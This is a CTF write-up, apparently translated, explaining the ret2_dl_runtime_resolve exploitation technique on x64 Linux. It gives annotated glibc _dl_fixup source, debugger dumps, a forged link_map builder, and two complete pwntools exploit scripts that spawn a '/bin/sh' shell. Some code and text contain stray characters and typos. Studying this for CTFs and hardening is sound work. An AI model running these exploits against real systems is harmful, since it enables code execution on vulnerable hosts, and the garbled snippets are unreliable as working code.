ret2_dl_runtime_resolve(x86/x64)

First record the method link_map of ret2_dl_runtime_resolve of x64

I think ret2dl is very difficult, very difficult, really difficult, woo woo
link_map I think it is like the iofile on the stack, that is, link_map. Let's analyze the source code.

Before analyzing the previous source code, let's look at a few structures:

Elf32_Rel:
typedef struct
{
  Elf32_Addr    r_offset;        /* Address */
  Elf32_Word    r_info;            /* Relocation type and symbol index */
} Elf32_Rel;
Elf64_Rel:
typedef structc
{
  Elf64_Addr    r_offset;        /* Address */
  Elf64_Xword    r_info;            /* Relocation type and symbol index */
} Elf64_Rel;

The above is the relocation function structure,

typedef struct
{
  Elf32_Word    st_name;        /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;        /* Symbol value */
  Elf32_Word    st_size;        /* Symbol size */
  unsigned char    st_info;        /* Symbol type and binding */
  unsigned char    st_other;        /* Symbol visibility */
  Elf32_Section    st_shndx;        /* Section index */
} Elf32_Sym;

typedef struct
{c
  Elf64_Word    st_name;        /* Symbol name (string tbl index) */
  unsigned char    st_info;        /* Symbol type and binding */
  unsigned char st_other;        /* Symbol visibility */
  Elf64_Section    st_shndx;        /* Section index */
  Elf64_Addr    st_value;        /* Symbol value */
  Elf64_Xword    st_size;        /* Symbol size */
} Elf64_Sym;

The above is the symtable structure, which is precisely located by the r_info of the previous relocation function structure

In fact, these can be faked in linkmap, let's look at the structure of linkmap

pwndbg> p *l
$1 = {
  l_addr = 18446744073708782128,
  l_name = 0x0,
  l_ld = 0x601168,
  l_next = 0x6bcf50,
  l_prev = 0x7,
  l_real = 0x0,
  l_ns = 0,
  l_libname = 0x0,
  l_info = {0x601010, 0x68732f6e69622f, 0x4141414141414141, 0x4141414141414141, 0x4141414141414141, 0x601150, 0x601188, 0x4141414141414141 <repeats 16 times>, 0x601158, 0x0 <repeats 53 times>},
  l_phdr = 0x0,
  l_entry = 0,
  l_phnum = 0,
  l_ldnum = 0,
  l_

I read it directly in pwndbg here, because of the structure of the source code, I have seen too little woo woo l_info This place containsDT_SYMTAB DT_STRTAB DT_JMPREL

_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
       ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
       struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);  Get the DT_SYMTAB table of the linkmap
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);   Get the DT_JMPREL table of linkmap reloc relocation structure
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];  Get r_info in the relocation structure
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);   r_info为7即可绕过

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) sym->st_other is not 0. In fact, this place can fill in a parsed got table. When the writegot table is retrieved, it will be \x7f,. The statement in this if is not what we want to play in 64 bits. These conditions jump directly to the else branch
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      const ElfW(Half) *vernum =
        (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }

      /* We need to keep the scope around so do some locking.  This is
     not necessary for objects which cannot be unloaded or when
     we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
    {
      THREAD_GSCOPE_SET_FLAG ();
      flags |= DL_LOOKUP_GSCOPE_LOCK;
    }

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

      /* Currently result contains the base load address (or link map)
     of the object that defines sym.  Now add in the symbol
     offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
                   sym ? (LOOKUP_VALUE_ADDRESS (result)
                      + sym->st_value) : 0);
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);   It is found here that as long as you control l->l_addr and sym->st_value, you can directly move here, sym->st_value is written as the function address of one of our libc, and l->l_addr is covered with a function address that we want to hijack. system-write, why write write here, because the sym->st_value we hijacked before is the address of the hijacked write function in libc, and it should also be written as libc address here
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
c
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}rel_addr就是l->addr


elf_machine_fixup_plt:
elf_machine_fixup_plt (struct link_map *map, lookup_t t,
               const Elf32_Rela *reloc,
               Elf32_Addr *reloc_addr, Elf32_Addr value)
{
  return *reloc_addr = value;  We can see that the value overwrites reloc_addr and binds the value of the function. Next, directly when binding jmp r11
}
Automatically bind and jmp r11 to system :
──────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────
 RAX  0xee
 RBX  0x7ffff85dd3b0 —▸ 0x400740 (__libc_csu_init) ◂— push   r15
*RCX  0x7f8395536fd2 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x100
 RDI  0x601198 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RSI  0x0
 R8   0x0
 R9   0x7f8395643d60 (_dl_fini) ◂— endbr64 
 R10  0x601150 ◂— 0xfffffffffff44230
 R11  0x7f839547b290 (system) ◂— endbr64 
 R12  0x400550 (_start) ◂— xor    ebp, ebp
 R13  0x7ffff85dd4c0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7ffff85dd000 ◂— 0x100
*RIP  0x7f839564ac6b (_dl_runtime_resolve_xsavec+171) ◂— mov    rax, qword ptr [rsp]
────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
   0x7f839564ac52 <_dl_runtime_resolve_xsavec+146>    mov    r8, qword ptr [rsp + 0x28]
   0x7f839564ac57 <_dl_runtime_resolve_xsavec+151>    mov    rdi, qword ptr [rsp + 0x20]
   0x7f839564ac5c <_dl_runtime_resolve_xsavec+156>    mov    rsi, qword ptr [rsp + 0x18]
   0x7f839564ac61 <_dl_runtime_resolve_xsavec+161>    mov    rdx, qword ptr [rsp + 0x10]
   0x7f839564ac66 <_dl_runtime_resolve_xsavec+166>    mov    rcx, qword ptr [rsp + 8]
 ► 0x7f839564ac6b <_dl_runtime_resolve_xsavec+171>    mov    rax, qword ptr [rsp]
   0x7f839564ac6f <_dl_runtime_resolve_xsavec+175>    mov    rsp, rbx
   0x7f839564ac72 <_dl_runtime_resolve_xsavec+178>    mov    rbx, qword ptr [rsp]
   0x7f839564ac76 <_dl_runtime_resolve_xsavec+182>    add    rsp, 0x18
   0x7f839564ac7a <_dl_runtime_resolve_xsavec+186>    bnd jmp r11
  • DT_STRTAB pointer: located in link_map_addr +0x68 (0x34 under 32 bits)
  • DT_SYMTAB pointer: located at link_map_addr + 0x70 (0x38 under 32 bits)
  • DT_JMPREL pointer: located in link_map_addr +0xF8 (0x7C under 32 bits)

Another thing to mention is l->addr, this fill in, this fill must be positive, if it is negative, it will report an error, so here we calculate the offset, if it is a positive sign, we will write it as a positive sign. The master conversion is & (2 ** 64 - 1), we roughly analyze the source code and we know the principle, the following is the construction of the linkmap board

1-- l_addr offset must be guaranteed to be positive here
2-- DT_JMPREL: make its address point to the location of the constructed .rel.plt relocation table entry
3-- Relocation table entry.rel.plt: make r_info, that is, the index redirected to the symbol table, is 0
4-- DT_SYMTAB: Make the address pointing to the symbol table write_got-0x8, so that st_value is equal to write_gotc
5-- DT_STRTAB: not used, just point to a readable location
After constructing from the above steps, you can get value = l_addr + write_got = real_system, write the value into the got table entry and successfully call the system function

Since the linkmap is not much different, the board of the online blog is directly used (if there is any infringement, please inform),

linkmap board:

def fake_linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)This is because the offset is usually a negative number. If you do not control the range, the p64 will go out of bounds and an error will occur.
    linkmap=p64(offset & (2**64-1)) # 1-- l_addr
 
    # 2-- fake_linkmap_addr+0x8:  DT_JMPREL,Its structure refers to the .dynamic section
    linkmap+=p64(0) # any value
    linkmap+=p64(fake_linkmap_addr+0x18) # Fake .rel.plt address
 
    # 3-- fake_linkmap_addr+0x18
    linkmap+=p64((fake_linkmap_addr+0x30-offset)&(2**64-1)) # r_offset: The address on the got table, it is not used, it can be set to a readable and writable address
    linkmap+=p64(0x7) # r_info: 0x7 >> 32 = 0, Corresponding to index 0 of the sym table, the first item
    linkmap+=p64(0) # r_addend: any value
 
    linkmap+=p64(0) # l_ns
 
    # 4-- fake_linkmap_addr+0x38: DT_SYMTAB
    linkmap+=p64(0) # any value
    linkmap+=p64(known_func_ptr-0x8) # Point to the first address of the sym table, indirectly make st_value = known_func_ptr
    
    # fake_linkmap_addr+0x48
    linkmap+='/bin/sh\x00'
    linkmap=linkmap.ljust(0x68,'A')
    linkmap+=p64(fake_linkmap_addr) # Set the address where DT_STRTAB is located
    linkmap+=p64(fake_linkmap_addr+0x38) # 0x70 Set the address where DT_SYMTAB is located
    linkmap=linkmap.ljust(0xf8,'B')
    linkmap+=p64(fake_linkmap_addr+0x8) #Set the address where DT_JMPREL is located: any readable area can be
    return linkmap

Let's play a stack overflow question directly. The use conditions are harsh, only overflow, and basically nothing else. At this time, we have to consider the ret2dl method.

The basic steps of stack overflow problem (PARTIAL_RELRO)

If there is an overflow in the first step, we migrate to a bss place, which is writable (executable), and then jump to the dl_runtime_resolve place, which is on our ida

.plt:0000000000400540 _read           proc near               ; CODE XREF: vuln+2F↓p
.plt:0000000000400540                 jmp     cs:off_601030
.plt:0000000000400540 _read           endp
.plt:0000000000400540
.plt:0000000000400546 ; ---------------------------------------------------------------------------c
.plt:0000000000400546                 push    3
.plt:000000000040054B                 jmp     sub_400500   this place
.plt:000000000040054B ; } // starts at 400500
.plt:000000000040054B _plt

This involves the binding knowledge of a lazy binding

To directly adopt the words of Master Kotor's master is:

When the library function is called for the first time, the program will first go to his plt table, push the second parameter reloc_offset of _dl_runtime_resolve, at this time the got table stores the next jump from his own plt table A statement, jump to the public plt[0], push the first parameter link_map, and finally call _dl_runtime_resolve to write the redirected address into the got table

1650544684766.png

This 0x8049030 is where we _dl_runtime_resolve (secretly took the picture of kot master, (escape)), then that's ok, know this location, directly hijack the execution flow to this place when we finally return, and then hijack it again , we fill in a linkmap address we forged later, one is reloc_arg, here we are hijacking the linkmap, but we don't need it, so it can be 0, and the construction can be started directly:

#coding:utf-8
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

r = process('./pwn')  
elf = ELF('./pwn')  
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')  
read_plt = elf.plt['read']  
write_got = elf.got['write']  
vuln_addr = elf.sym['vuln']  
  
#bss  
bss = 0x601050  
bss_addr = bss + 0x100
l_addr =  libc.sym['system'] -libc.sym['write']  # l_addr = -769472, 通常为负数
  
pop_rdi = 0x4007a3  
#pop rsi ; pop r15 ; ret  
pop_rsi = 0x4007a1  
#用于解析符号dl_runtime_resolve  
dl_re = 0x400506  

def fake_linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)This is because the offset is usually a negative number. If you do not control the range, the p64 will go out of bounds and an error will occur.
    linkmap=p64(offset & (2**64-1)) # 1-- l_addr
 
    # 2-- fake_linkmap_addr+0x8:  DT_JMPREL,Its structure refers to the .dynamic section
    linkmap+=p64(0) # any value
    linkmap+=p64(fake_linkmap_addr+0x18) # Fake .rel.plt address
 
    # 3-- fake_linkmap_addr+0x18
    linkmap+=p64((fake_linkmap_addr+0x30-offset)&(2**64-1)) # r_offset: The address on the got table, it is not used, it can be set to a readable and writable address
    linkmap+=p64(0x7) # r_info: 0x7 >> 32 = 0, Corresponding to index 0 of the sym table, the first item
    linkmap+=p64(0) # r_addend: any value
 
    linkmap+=p64(0) # l_ns
 
    # 4-- fake_linkmap_addr+0x38: DT_SYMTAB
    linkmap+=p64(0) # any value
    linkmap+=p64(known_func_ptr-0x8) # Point to the first address of the sym table, indirectly make st_value = known_func_ptr
    
    # fake_linkmap_addr+0x48
    linkmap+='/bin/sh\x00'
    linkmap=linkmap.ljust(0x68,'A')
    linkmap+=p64(fake_linkmap_addr) # Set the address where DT_STRTAB is located
    linkmap+=p64(fake_linkmap_addr+0x38) # 0x70 Set the address where DT_SYMTAB is located
    linkmap=linkmap.ljust(0xf8,'B')
    linkmap+=p64(fake_linkmap_addr+0x8) #Set the address where DT_JMPREL is located: any readable area can be
    return linkmap

fake_link_map = fake_Linkmap_payload(bss_addr, write_got ,l_addr)# 伪造link_map
payload='a'*120+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss_addr)+p64(0)+p64(read_plt)+p64(pop_rsi)+p64(0)+p64(0)+p64(pop_rsi)+p64(0)+p64(0)\+p64(pop_rdi)+p64(bss_addr+0x48)+p64(dl_re)+p64(bss_addr)+p64(0)
gdb.attach(r,'dir /home/roo/Desktop/ret2dl/glibc-2.31/elf')
r.sendline(payload)  
raw_input()
r.send(fake_link_map) 

r.interactive() 

The above is just a brief introduction to the ret2dl of the program under PARTIAL_RELRO 64-bit. Of course, under 64-bit NO RELRO, the structure becomes very simple. Let's briefly introduce it.

NO RELRO

This is a direct fake dynstr that is DT_STRTAB

namesection name
DT_STRTAB.dynstr
DT_SYMTAB.dynsym
DT_JMPREL.rel.plt

see from ida

LOAD:0000000000400398 byte_400398     db 0                    ; DATA XREF: LOAD:00000000004002D8↑o
LOAD:0000000000400398                                         ; LOAD:00000000004002F0↑o ...
LOAD:0000000000400399 aLibcSo6        db 'libc.so.6',0        ; DATA XREF: LOAD:0000000000400408↓o
LOAD:00000000004003A3 aStdin          db 'stdin',0            ; DATA XREF: LOAD:0000000000400380↑o
LOAD:00000000004003A9 aStrlen         db 'strlen',0           ; DATA XREF: LOAD:00000000004002F0↑o
LOAD:00000000004003B0 aRead           db 'read',0             ; DATA XREF: LOAD:0000000000400320↑o
LOAD:00000000004003B5 aStdout         db 'stdout',0           ; DATA XREF: LOAD:0000000000400368↑o
LOAD:00000000004003BC aSetbuf         db 'setbuf',0           ; DATA XREF: LOAD:0000000000400308↑o
LOAD:00000000004003C3 aLibcStartMain  db '__libc_start_main',0

Before that, we tampered with dynamic strtable into our fake dynstr

00000600E20 _DYNAMIC        Elf64_Dyn <1, 1>        ; DATA XREF: LOAD:0000000000400130↑o
LOAD:0000000000600E20                                         ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:0000000000600E20                                         ; DT_NEEDED libc.so.6
LOAD:0000000000600E30                 Elf64_Dyn <0Ch, 4004E8h> ; DT_INIT
LOAD:0000000000600E40                 Elf64_Dyn <0Dh, 4007B4h> ; DT_FINI
LOAD:0000000000600E50                 Elf64_Dyn <19h, 600E10h> ; DT_INIT_ARRAY
LOAD:0000000000600E60                 Elf64_Dyn <1Bh, 8>      ; DT_INIT_ARRAYSZ
LOAD:0000000000600E70                 Elf64_Dyn <1Ah, 600E18h> ; DT_FINI_ARRAY
LOAD:0000000000600E80                 Elf64_Dyn <1Ch, 8>      ; DT_FINI_ARRAYSZ
LOAD:0000000000600E90                 Elf64_Dyn <6FFFFEF5h, 400298h> ; DT_GNU_HASH
LOAD:0000000000600EA0                 Elf64_Dyn <5, 400398h>  ; DT_STRTAB   I see here that it points directly to dynstr, and tampered with it to where we forged
LOAD:0000000000600EB0                 Elf64_Dyn <6, 4002C0h>  ; DT_SYMTAB
LOAD:0000000000600EC0                 Elf64_Dyn <0Ah, 5Eh>    ; DT_STRSZ
LOAD:0000000000600ED0                 Elf64_Dyn <0Bh, 18h>    ; DT_SYMENT
LOAD:0000000000600EE0                 Elf64_Dyn <15h, 0>      ; DT_DEBUG
LOAD:0000000000600EF0                 Elf64_Dyn <3, 601000h>  ; DT_PLTGOT
LOAD:0000000000600F00                 Elf64_Dyn <2, 60h>      ; DT_PLTRELSZ
LOAD:0000000000600F10                 Elf64_Dyn <14h, 7>      ; DT_PLTREL
LOAD:0000000000600F20                 Elf64_Dyn <17h, 400488h> ; DT_JMPRELc
LOAD:0000000000600F30                 Elf64_Dyn <7, 400428h>  ; DT_RELA
LOAD:0000000000600F40                 Elf64_Dyn <8, 60h>      ; DT_RELASZ
LOAD:0000000000600F50                 Elf64_Dyn <9, 18h>      ; DT_RELAENT
LOAD:0000000000600F60                 Elf64_Dyn <6FFFFFFEh, 400408h> ; DT_VERNEED
LOAD:0000000000600F70                 Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000600F80                 Elf64_Dyn <6FFFFFF0h, 4003F6h> ; DT_VERSYM
LOAD:0000000000600F90                 Elf64_Dyn <0>           ; DT_NULL

Finally, let's look at the most important functions, the source code:

strtab + sym->st_name this time is pointing to our system, where we just tampered with strlen as system

Debugging is too complicated, many macro definitions, mainly as follows, directly complete the hijacking

     return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
     
    
   0x7f3ab197ac57 <_dl_runtime_resolve_xsavec+151>    mov    rdi, qword ptr [rsp + 0x20]
   0x7f3ab197ac5c <_dl_runtime_resolve_xsavec+156>    mov    rsi, qword ptr [rcsp + 0x18]
   0x7f3ab197ac61 <_dl_runtime_resolve_xsavec+161>    mov    rdx, qword ptr [rsp + 0x10]
   0x7f3ab197ac66 <_dl_runtime_resolve_xsavec+166>    mov    rcx, qword ptr [rsp + 8]
   0x7f3ab197ac6b <_dl_runtime_resolve_xsavec+171>    mov    rax, qword ptr [rsp]
 ► 0x7f3ab197ac6f <_dl_runtime_resolve_xsavec+175>    mov    rsp, rbx
   0x7f3ab197ac72 <_dl_runtime_resolve_xsavec+178>    mov    rbx, qword ptr [rsp]
   0x7f3ab197ac76 <_dl_runtime_resolve_xsavec+182>    add    rsp, 0x18
   0x7f3ab197ac7a <_dl_runtime_resolve_xsavec+186>    bnd jmp r11

Directly use the script of the online master as a template:

#coding:utf-8
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')
r = process('./pwn')  
elf = ELF('./pwn')  
read_plt = elf.plt['read']  
#The target of our attack, the address of strtab in .dynamic, we have to modify it here to point to fake_dynstr
target_addr = 0x600988 + 8  
#The function used to load the function address, when we fake dynstr, call it again to load the function we need
plt0_load = 0x4004D0   
#pop rdi;ret;  
pop_rdi = 0x400773 
#pop rsi ; pop r15 ; ret  
pop_rsi = 0x400771
#伪造dynstr  
fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00' #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00'
bss = 0x600B30  

payload = flat('a' * 120 , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , # Write '/bin/sh' and fake strtab to bss segment
                pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , # Change the strtab address in .dynamic to the address of our fake strtab
                pop_rdi , bss , plt0_load , 1 # Call .dl_fixup to parse the strlen function. Since we have replaced strlen with system in fake_strtab, the system function will be parsed

)
r.sendline(payload)  
#Send system parameters and fake strtab
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr  
sleep(1)  
r.sendline(payload2)  
sleep(1)  
#Modify the address of strtab in dynsym to the address of our forged dynstr
r.sendline(p64(bss + 0x10))  
r.interactive()  

So far, I have analyzed the ret2dl of the 64-bit pwn problem. If there is still time, I will analyze the 32-bit problem. I think 32-bit is more complicated. I wrote this article for two days. ! ! !